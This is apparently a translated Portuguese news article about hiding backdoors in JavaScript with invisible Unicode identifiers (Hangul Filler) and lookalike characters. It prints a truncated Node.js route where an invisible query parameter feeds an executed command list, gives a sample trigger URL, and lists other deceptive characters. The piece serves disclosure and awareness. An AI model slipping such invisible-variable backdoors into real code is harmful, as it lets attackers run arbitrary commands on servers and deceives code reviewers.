Usando caracteres unicode invisíveis para ocultar ações no código JavaScript

Seguindo o método de ataque Trojan Source, que se baseia no uso de caracteres Unicode que alteram a ordem de exibição do texto bidirecional, foi publicada outra técnica de introdução de ações ocultas, aplicável ao código JavaScript. O novo método é baseado na utilização do caractere unicode “ㅤ” (código 0x3164, “HANGUL FILLER”), que pertence à categoria de letras, mas não possui conteúdo visível. A categoria Unicode à qual este caractere pertence foi permitida desde a especificação ECMAScript 2015 para uso em nomes de variáveis ​​JavaScript, possibilitando a criação de variáveis ​​invisíveis ou novas variáveis ​​que são indistinguíveis de outras variáveis ​​em editores de código populares como Notepad++ e VS Code.

Como exemplo, é dado o código da plataforma Node.js, no qual, utilizando uma variável composta por um único caractere “ㅤ”, é ocultado um backdoor que permite executar o código especificado pelo invasor: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // na verdade diz “const { timeout,ㅤ \u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // a vírgula é seguida pelo caractere \u3164 ];

À primeira vista, apenas o valor do tempo limite é passado pelo parâmetro externo, e o array com os comandos a serem executados contém uma lista fixa inofensiva. Mas, na verdade, após a variável timeout, é atribuído o valor de outra variável invisível com o código de caractere \u3164, que também é substituído no array de comandos executáveis. Assim, se tal design estiver disponível, um invasor pode enviar uma solicitação como “https://host:8080/network_health?%E3%85%A4=command” para ativar o backdoor e executar seu código.

Outro exemplo é o caractere “ǃ” (CLICK ALVEOLAR), que pode ser utilizado para dar a aparência de indicar um ponto de exclamação. Por exemplo, a expressão “if(environmentǃ=ENV_PROD){” quando executada em Node.js 14 será sempre verdadeira, pois não verifica diferença, mas atribui o valor de ENV_PROD à variável “ambienteǃ”. Outros caracteres Unicode enganosos incluem "/", "−", "+", "⩵", "❨", "⫽", "꓿" e "∗".

Fonte: opennet.ru

Adicionar um comentário